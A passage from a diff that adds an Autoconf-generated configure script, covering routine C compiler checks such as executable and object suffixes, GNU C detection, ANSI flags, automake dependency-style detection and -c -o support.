+# It will help us diagnose broken compilers, and finding out an intuition
+# of exeext.
+echo "$as_me:$LINENO: checking for C compiler default output file name" >&5
+echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6
+ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'`
+if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5
+  (eval $ac_link_default) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+  # Find the output, starting from the most likely.  This scheme is
+# not robust to junk in `.', hence go to wildcards (a.*) only as a last
+# resort.
+
+# Be careful to initialize this variable, since it used to be cached.
+# Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile.
+ac_cv_exeext=
+# b.out is created by i960 compilers.
+for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out
+do
+  test -f "$ac_file" || continue
+  case $ac_file in
+    *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj )
+	;;
+    conftest.$ac_ext )
+	# This is the source file.
+	;;
+    [ab].out )
+	# We found the default executable, but exeext='' is most
+	# certainly right.
+	break;;
+    *.* )
+	ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+	# FIXME: I believe we export ac_cv_exeext for Libtool,
+	# but it would be cool to find out if it's true.  Does anybody
+	# maintain Libtool? --akim.
+	export ac_cv_exeext
+	break;;
+    * )
+	break;;
+  esac
+done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: C compiler cannot create executables
+See \`config.log' for more details." >&5
+echo "$as_me: error: C compiler cannot create executables
+See \`config.log' for more details." >&2;}
+   { (exit 77); exit 77; }; }
+fi
+
+ac_exeext=$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_file" >&5
+echo "${ECHO_T}$ac_file" >&6
+
+# Check the compiler produces executables we can run.  If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether the C compiler works" >&5
+echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6
+# FIXME: These cross compiler hacks should be removed for Autoconf 3.0
+# If not cross compiling, check that we can run a simple program.
+if test "$cross_compiling" != yes; then
+  if { ac_try='./$ac_file'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+    cross_compiling=no
+  else
+    if test "$cross_compiling" = maybe; then
+	cross_compiling=yes
+    else
+	{ { echo "$as_me:$LINENO: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+    fi
+  fi
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+
+rm -f a.out a.exe conftest$ac_cv_exeext b.out
+ac_clean_files=$ac_clean_files_save
+# Check the compiler produces executables we can run.  If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether we are cross compiling" >&5
+echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6
+echo "$as_me:$LINENO: result: $cross_compiling" >&5
+echo "${ECHO_T}$cross_compiling" >&6
+
+echo "$as_me:$LINENO: checking for suffix of executables" >&5
+echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+  # If both `conftest.exe' and `conftest' are `present' (well, observable)
+# catch `conftest.exe'.  For instance with Cygwin, `ls conftest' will
+# work properly (i.e., refer to `conftest.exe'), while it won't with
+# `rm'.
+for ac_file in conftest.exe conftest conftest.*; do
+  test -f "$ac_file" || continue
+  case $ac_file in
+    *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;;
+    *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+	  export ac_cv_exeext
+	  break;;
+    * ) break;;
+  esac
+done
+else
+  { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5
+echo "${ECHO_T}$ac_cv_exeext" >&6
+
+rm -f conftest.$ac_ext
+EXEEXT=$ac_cv_exeext
+ac_exeext=$EXEEXT
+echo "$as_me:$LINENO: checking for suffix of object files" >&5
+echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6
+if test "${ac_cv_objext+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.o conftest.obj
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; then
+  for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do
+  case $ac_file in
+    *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;;
+    *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'`
+       break;;
+  esac
+done
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of object files: cannot compile
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest.$ac_cv_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_objext" >&5
+echo "${ECHO_T}$ac_cv_objext" >&6
+OBJEXT=$ac_cv_objext
+ac_objext=$OBJEXT
+echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5
+echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6
+if test "${ac_cv_c_compiler_gnu+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+#ifndef __GNUC__
+       choke me
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_compiler_gnu=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_compiler_gnu=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+ac_cv_c_compiler_gnu=$ac_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5
+echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6
+GCC=`test $ac_compiler_gnu = yes && echo yes`
+ac_test_CFLAGS=${CFLAGS+set}
+ac_save_CFLAGS=$CFLAGS
+CFLAGS="-g"
+echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5
+echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_g+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_prog_cc_g=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_prog_cc_g=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_g" >&6
+if test "$ac_test_CFLAGS" = set; then
+  CFLAGS=$ac_save_CFLAGS
+elif test $ac_cv_prog_cc_g = yes; then
+  if test "$GCC" = yes; then
+    CFLAGS="-g -O2"
+  else
+    CFLAGS="-g"
+  fi
+else
+  if test "$GCC" = yes; then
+    CFLAGS="-O2"
+  else
+    CFLAGS=
+  fi
+fi
+echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5
+echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6
+if test "${ac_cv_prog_cc_stdc+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_prog_cc_stdc=no
+ac_save_CC=$CC
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <stdarg.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+/* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */
+struct buf { int x; };
+FILE * (*rcsopen) (struct buf *, struct stat *, int);
+static char *e (p, i)
+     char **p;
+     int i;
+{
+  return p[i];
+}
+static char *f (char * (*g) (char **, int), char **p, ...)
+{
+  char *s;
+  va_list v;
+  va_start (v,p);
+  s = g (p, va_arg (v,int));
+  va_end (v);
+  return s;
+}
+
+/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has
+   function prototypes and stuff, but not '\xHH' hex character constants.
+   These don't provoke an error unfortunately, instead are silently treated
+   as 'x'.  The following induces an error, until -std1 is added to get
+   proper ANSI mode.  Curiously '\x00'!='x' always comes out true, for an
+   array size at least.  It's necessary to write '\x00'==0 to get something
+   that's true only with -std1.  */
+int osf4_cc_array ['\x00' == 0 ? 1 : -1];
+
+int test (int i, double x);
+struct s1 {int (*f) (int a);};
+struct s2 {int (*f) (double a);};
+int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);
+int argc;
+char **argv;
+int
+main ()
+{
+return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];
+  ;
+  return 0;
+}
+_ACEOF
+# Don't try gcc -ansi; that turns off useful extensions and
+# breaks some systems' header files.
+# AIX			-qlanglvl=ansi
+# Ultrix and OSF/1	-std1
+# HP-UX 10.20 and later	-Ae
+# HP-UX older versions	-Aa -D_HPUX_SOURCE
+# SVR4			-Xc -D__EXTENSIONS__
+for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__"
+do
+  CC="$ac_save_CC $ac_arg"
+  rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_prog_cc_stdc=$ac_arg
+break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext
+done
+rm -f conftest.$ac_ext conftest.$ac_objext
+CC=$ac_save_CC
+
+fi
+
+case "x$ac_cv_prog_cc_stdc" in
+  x|xno)
+    echo "$as_me:$LINENO: result: none needed" >&5
+echo "${ECHO_T}none needed" >&6 ;;
+  *)
+    echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5
+echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6
+    CC="$CC $ac_cv_prog_cc_stdc" ;;
+esac
+
+# Some people use a C++ compiler to compile C.  Since we use `exit',
+# in C++ we need to declare it.  In case someone uses the same compiler
+# for both compiling C and C++ we need to have the C++ compiler decide
+# the declaration of exit, since it's the most demanding environment.
+cat >conftest.$ac_ext <<_ACEOF
+#ifndef __cplusplus
+  choke me
+#endif
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  for ac_declaration in \
+   '' \
+   'extern "C" void std::exit (int) throw (); using std::exit;' \
+   'extern "C" void std::exit (int); using std::exit;' \
+   'extern "C" void exit (int) throw ();' \
+   'extern "C" void exit (int);' \
+   'void exit (int);'
+do
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+#include <stdlib.h>
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+continue
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+rm -f conftest*
+if test -n "$ac_declaration"; then
+  echo '#ifdef __cplusplus' >>confdefs.h
+  echo $ac_declaration      >>confdefs.h
+  echo '#endif'             >>confdefs.h
+fi
+
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+DEPDIR="${am__leading_dot}deps"
+
+          ac_config_commands="$ac_config_commands depfiles"
+
+
+am_make=${MAKE-make}
+cat > confinc << 'END'
+am__doit:
+	@echo done
+.PHONY: am__doit
+END
+# If we don't find an include directive, just comment out the code.
+echo "$as_me:$LINENO: checking for style of include used by $am_make" >&5
+echo $ECHO_N "checking for style of include used by $am_make... $ECHO_C" >&6
+am__include="#"
+am__quote=
+_am_result=none
+# First try GNU make style include.
+echo "include confinc" > confmf
+# We grep out `Entering directory' and `Leaving directory'
+# messages which can occur if `w' ends up in MAKEFLAGS.
+# In particular we don't look at `^make:' because GNU make might
+# be invoked under some other name (usually "gmake"), in which
+# case it prints its new name instead of `make'.
+if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'`" = "done"; then
+   am__include=include
+   am__quote=
+   _am_result=GNU
+fi
+# Now try BSD make style include.
+if test "$am__include" = "#"; then
+   echo '.include "confinc"' > confmf
+   if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then
+      am__include=.include
+      am__quote="\""
+      _am_result=BSD
+   fi
+fi
+
+
+echo "$as_me:$LINENO: result: $_am_result" >&5
+echo "${ECHO_T}$_am_result" >&6
+rm -f confinc confmf
+
+# Check whether --enable-dependency-tracking or --disable-dependency-tracking was given.
+if test "${enable_dependency_tracking+set}" = set; then
+  enableval="$enable_dependency_tracking"
+
+fi;
+if test "x$enable_dependency_tracking" != xno; then
+  am_depcomp="$ac_aux_dir/depcomp"
+  AMDEPBACKSLASH='\'
+fi
+
+
+if test "x$enable_dependency_tracking" != xno; then
+  AMDEP_TRUE=
+  AMDEP_FALSE='#'
+else
+  AMDEP_TRUE='#'
+  AMDEP_FALSE=
+fi
+
+
+
+
+depcc="$CC"   am_compiler_list=
+
+echo "$as_me:$LINENO: checking dependency style of $depcc" >&5
+echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6
+if test "${am_cv_CC_dependencies_compiler_type+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+  # We make a subdir and do the tests there.  Otherwise we can end up
+  # making bogus files that we don't know about and never remove.  For
+  # instance it was reported that on HP-UX the gcc test will end up
+  # making a dummy file named `D' -- because `-MD' means `put the output
+  # in D'.
+  mkdir conftest.dir
+  # Copy depcomp to subdir because otherwise we won't find it if we're
+  # using a relative directory.
+  cp "$am_depcomp" conftest.dir
+  cd conftest.dir
+  # We will build objects and dependencies in a subdirectory because
+  # it helps to detect inapplicable dependency modes.  For instance
+  # both Tru64's cc and ICC support -MD to output dependencies as a
+  # side effect of compilation, but ICC will put the dependencies in
+  # the current directory while Tru64 will put them in the object
+  # directory.
+  mkdir sub
+
+  am_cv_CC_dependencies_compiler_type=none
+  if test "$am_compiler_list" = ""; then
+     am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp`
+  fi
+  for depmode in $am_compiler_list; do
+    # Setup a source with many dependencies, because some compilers
+    # like to wrap large dependency lists on column 80 (with \), and
+    # we should not choose a depcomp mode which is confused by this.
+    #
+    # We need to recreate these files for each test, as the compiler may
+    # overwrite some of them when testing with obscure command lines.
+    # This happens at least with the AIX C compiler.
+    : > sub/conftest.c
+    for i in 1 2 3 4 5 6; do
+      echo '#include "conftst'$i'.h"' >> sub/conftest.c
+      # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with
+      # Solaris 8's {/usr,}/bin/sh.
+      touch sub/conftst$i.h
+    done
+    echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
+
+    case $depmode in
+    nosideeffect)
+      # after this tag, mechanisms are not by side-effect, so they'll
+      # only be used when explicitly requested
+      if test "x$enable_dependency_tracking" = xyes; then
+	continue
+      else
+	break
+      fi
+      ;;
+    none) break ;;
+    esac
+    # We check with `-c' and `-o' for the sake of the "dashmstdout"
+    # mode.  It turns out that the SunPro C++ compiler does not properly
+    # handle `-M -o', and we need to detect this.
+    if depmode=$depmode \
+       source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \
+       depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
+       $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \
+         >/dev/null 2>conftest.err &&
+       grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
+       grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 &&
+       ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+      # icc doesn't choke on unknown options, it will just issue warnings
+      # or remarks (even with -Werror).  So we grep stderr for any message
+      # that says an option was ignored or not supported.
+      # When given -MP, icc 7.0 and 7.1 complain thusly:
+      #   icc: Command line warning: ignoring option '-M'; no argument required
+      # The diagnosis changed in icc 8.0:
+      #   icc: Command line remark: option '-MP' not supported
+      if (grep 'ignoring option' conftest.err ||
+          grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else
+        am_cv_CC_dependencies_compiler_type=$depmode
+        break
+      fi
+    fi
+  done
+
+  cd ..
+  rm -rf conftest.dir
+else
+  am_cv_CC_dependencies_compiler_type=none
+fi
+
+fi
+echo "$as_me:$LINENO: result: $am_cv_CC_dependencies_compiler_type" >&5
+echo "${ECHO_T}$am_cv_CC_dependencies_compiler_type" >&6
+CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type
+
+
+
+if
+  test "x$enable_dependency_tracking" != xno \
+  && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then
+  am__fastdepCC_TRUE=
+  am__fastdepCC_FALSE='#'
+else
+  am__fastdepCC_TRUE='#'
+  am__fastdepCC_FALSE=
+fi
+
+
+if test "x$CC" != xcc; then
+  echo "$as_me:$LINENO: checking whether $CC and cc understand -c and -o together" >&5
+echo $ECHO_N "checking whether $CC and cc understand -c and -o together... $ECHO_C" >&6
+else
+  echo "$as_me:$LINENO: checking whether cc understands -c and -o together" >&5
+echo $ECHO_N "checking whether cc understands -c and -o together... $ECHO_C" >&6
+fi
+set dummy $CC; ac_cc=`echo $2 |
+		      sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'`
+if eval "test \"\${ac_cv_prog_cc_${ac_cc}_c_o+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+# Make sure it works both with $CC and with simple cc.
+# We do the test twice because some compilers refuse to overwrite an
+# existing .o file with -o, though they will create one.
+ac_try='$CC -c conftest.$ac_ext -o conftest.$ac_objext >&5'
+if { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+   test -f conftest.$ac_objext && { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); };
+then
+  eval ac_cv_prog_cc_${ac_cc}_c_o=yes
+  if test "x$CC" != xcc; then
+    # Test first that cc exists at all.
+    if { ac_try='cc -c conftest.$ac_ext >&5'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+      ac_try='cc -c conftest.$ac_ext -o conftest.$ac_objext >&5'
+      if { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 test -f conftest.$ac_objext && { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); };
+      then
+	# cc works too.
+	:
+      else
+	# cc exists but doesn't like -o.
+	eval ac_cv_prog_cc_${ac_cc}_c_o=no
+      fi
+    fi
+  fi
+else
+  eval ac_cv_prog_cc_${ac_cc}_c_o=no
+fi
+rm -f conftest*
+
+fi
+if eval "test \"`echo '$ac_cv_prog_cc_'${ac_cc}_c_o`\" = yes"; then
+  echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+
+cat >>confdefs.h <<\_ACEOF
+#define NO_MINUS_C_MINUS_O 1
+_ACEOF
+
+fi
+
+# FIXME: we rely on the cache variable name because
+# there is no other way.
+set dummy $CC
+ac_cc=`echo $2 | sed 's/[^a-zA-Z0-9_]/_/g;s/^[0-9]/_/'`
+if eval "test \"`echo '$ac_cv_prog_cc_'${ac_cc}_c_o`\" != yes"; then
+   # Losing compiler, so override with the script.
+   # FIXME: It is wrong to rewrite CC.
+   # But if we don't then we get into trouble of one sort or another.
+   # A longer-term fix would be to have automake use am__CC in this case,
+   # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)"
+   CC="$am_aux_dir/compile $CC"
+fi
+
+
+
+  ansi=
+  if test -z "$ansi"; then
+    msg="for C compiler warning flags"
+  else
+    msg="for C compiler warning and ANSI conformance flags"
+  fi
+  echo "$as_me:$LINENO: checking $msg" >&5
+echo $ECHO_N "checking $msg... $ECHO_C" >&6
+if test "${vl_cv_prog_cc_warnings+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+    if test -n "$CC"; then
+      cat > conftest.c <<EOF
+int main(int argc, char **argv) { return 0; }
+EOF
+
+            if test "$GCC" = "yes"; then
+        if test -z "$ansi"; then
